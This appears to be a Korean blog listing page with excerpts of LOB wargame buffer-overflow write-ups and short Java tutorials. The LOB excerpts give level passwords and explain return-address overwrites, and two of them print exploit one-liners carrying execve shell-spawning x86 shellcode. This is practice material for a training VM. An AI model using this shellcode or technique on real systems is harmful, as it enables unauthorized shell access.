본문 바로가기

전체 글

[LOB] 5번 orc -> wolfman id : orcpassword : cantata 로그인 후 wolfman.c 코드를 보면 다음과 같다 이번 문제는 환경변수를 없애고 버퍼를 0으로 채우게 된다 남아있는 것은 argv[1]이기 때문에 리턴어드레스에 argv[1]의 주소를 넣어주면 된다 gdb로 argv[1]의 시작 주소를 알아냈다 0xbffffc46이다 $ebp에는 sfp, 리턴 어드레스, argc, argv[2]가 들어간다 원래 0x00000000 대신에 0x00000002 가 있어야 한다 ./wolfman `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8.. 더보기
[LOB] 4번 goblin -> orc id : goblinpassword : hackers proof 로그인하면 orc.c 파일이 있다 코드는 다음과 같다 리턴 어드레스에 들어갈 주소가 bf로 시작해야 한다는 점이 새롭다 버퍼에 40이 들어가고 sfp까지 44를 채워준 후 버퍼의 주소를 입력해주면 될 것 같다 gdb로 버퍼의 주소를 알아냈다 0xbffffc35 리틀엔디안 방식이기 때문에 \x35\xfc\xff\xbf 를 입력해줘야 한다 ./orc `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90"*4 + "\x35\xfc\xff\xbf"'` .. 더보기
[LOB] 3번 cobolt -> goblin id : coboltpasswd : hacking exposed 로그인 후 goblin의 코드를 보면 다음과 같다. 이번에는 gets로 문자열을 입력받는다. 2번처럼 환경변수를 사용하여 문제를 풀면 된다. shellcode 라는 환경변수를 만들어서 파이프라인을 통해 문제를 해결할 수 있다. 파이프라인의 첫번째 명령의 출력값이 두 번째 명령의 입력으로 사용된다. 따라서 goblin에서 gets로 받아오는 값을 통해 쉘이 실행되어 my-pass를 통해 비밀번호를 알아낼 수 있다. 여기서 cat을 쓰는 이유는 EOF를 인식해 프로그램을 종료시키는 것을 막기 위해서이다. cat을 쓰지 않고 실행했을 때 프로그램이 혼자 종료된다. 따라서 프로그램의 종료를 지연해주는 역할을 해준다. 더보기
[LOB] 2번 gremlin -> cobolt login : gremlin password : hello bof world 로그인 후 vi cobolt.c로 소스코드를 확인한다. 1번 문제처럼 풀기엔 버퍼의 크기가 작다. 그래서 환경 변수로 풀어주면 된다. 위와 같이 SHELL 이라는 환경 변수에 쉘코드 주소를 넣어준다. env 명령어로 환경변수 SHELL이 생긴 걸 알 수 있다. 환경변수의 주소를 알기 위한 코드를 C언어로 작성해보았다. 환경변수의 주소는 위와 같다. 그래서 위와 같이 버퍼와 SFP를 NOP으로 채워주고 RET 주소에 환경변수 주소를 넣어주면 문제 해결 더보기
[LOB] 1번 gremlin LOB란 버퍼 오버플로우르 이용한 Wargame 이다. The Lord of Bufferoverflow 의 약자이다. 이를 풀기 위해서는 LOB 이미지를 해커스쿨 사이트에서 다운 받아 가상 환경에서 서버를 구축해야 한다. 구축하고 telnet [IP 주소]로 연결하면 화면이 다음과 같이 구성된다. login : gatePassword : gate 로그인을 하고 파일을 보면 gremlin.c 가 있다. vi gremlin.c 로 코드를 보면 다음과 같이 되어 있다. 버퍼로 256을 입력 받고 argc 가 2개 미만이면 오류를 출력하고 프로그램을 종료한다. 2개 이상이면 buffer에 argv[1] 인자를 복사 시킨다. 이 문제는 strcpy 함수를 실행할 때 어느정도 크기의 값을 복사할 지 정하지 않는다는.. 더보기
[Java] 오버로딩과 오버라이딩 자바에서 다형성을 지원하는 방법으로 메소드 오버로딩(Overloading)과 오버라이딩(Overriding)이 있다. 간단하게 정의해보면 오버로딩은 같은 이름의 메소드를 여러 개 가지면서 매개변수의 유형과 개수가 다르도록 하는 기술이고, 오버라이딩은 상위 클래스가 가지고 있는 메소드를 하위 클래스가 재정의해서 사용하는 기술이다. ▶ 오버로딩(Overloading) 같은 이름의 함수를 여러 개 정의하고 매개변수의 자료형과 개수를 다르게 하여 다양한 호출을 가능하게 한다. /* Overloading.java */public class Overloading { void result() { //매개변수 없을 때 System.out.println("매개변수 없음"); } void result(int a, int .. 더보기
[Java] 타입 변환 ● 자동 타입 변환 다음과 같이 치환문(=)이나 수식 내에서 타입이 일치하지 않을 떄, 컴파일러는 작은 타입을 큰 타입으로 자동 변환한다. long m = 25; //리터럴 25는 int 타입으로서 long 타입으로 자동 변환 double d = 3.14 * 10; //실수 연산을 하기 위해 10이 10.0으로 자동 변환 ● 강제 타입 변환 다음과 같이 n(300)을 byte 타입(0~255 범위)으로 자동 변환하게 되면, 변수 b에 300이 저장되지 않고 44(300%256=44)가 저장되어 손실이 발생한다. 그러므로 컴파일러는 이 경우와 같이 큰 타입을 작은 타입으로 변환해야 할 때 자동 변환 대신 컴파일 오류를 발생시킨다. long n = 300; byte b = n; //컴파일 오류, int 타입.. 더보기
[Java] 자바의 특징 자바의 특징 ◆ 플랫폼 독립성 (Write Once Run Anywhere) 자바는 하드웨어, 운영체제 등 플랫폼에 종속되지 않은 독립적인 바이트 코드로 커파일되며 자바 가상 기계(JVM)만 있으면 하드웨어/운영체제를 가리지 않고 자바 프로그램의 실행이 가능하다. ◇ 객체 지향 언어 자바는 객체 지향 언어로서 캡슐화, 상속, 다형성 등을 지원한다. 캡슐화는 일반적으로 중요한 데이터를 보존, 보호하기 위해 연관 있는 변수와 함수를 클래스로 묶는 작업을 의미한다. 상속은 자식(하위, 파생) 클래스가 부모(상위) 플래스의 멤버를 물려받는 것을 의미하며, 자식이 부모를 선택해서 물려받을 수 있다. 다형성은 같은 타입이지만 실행 결과가 다양한 객체를 대입(이용)할 수 있는 성질이다. ◆ 클래스로 캡슐화 객체의 필.. 더보기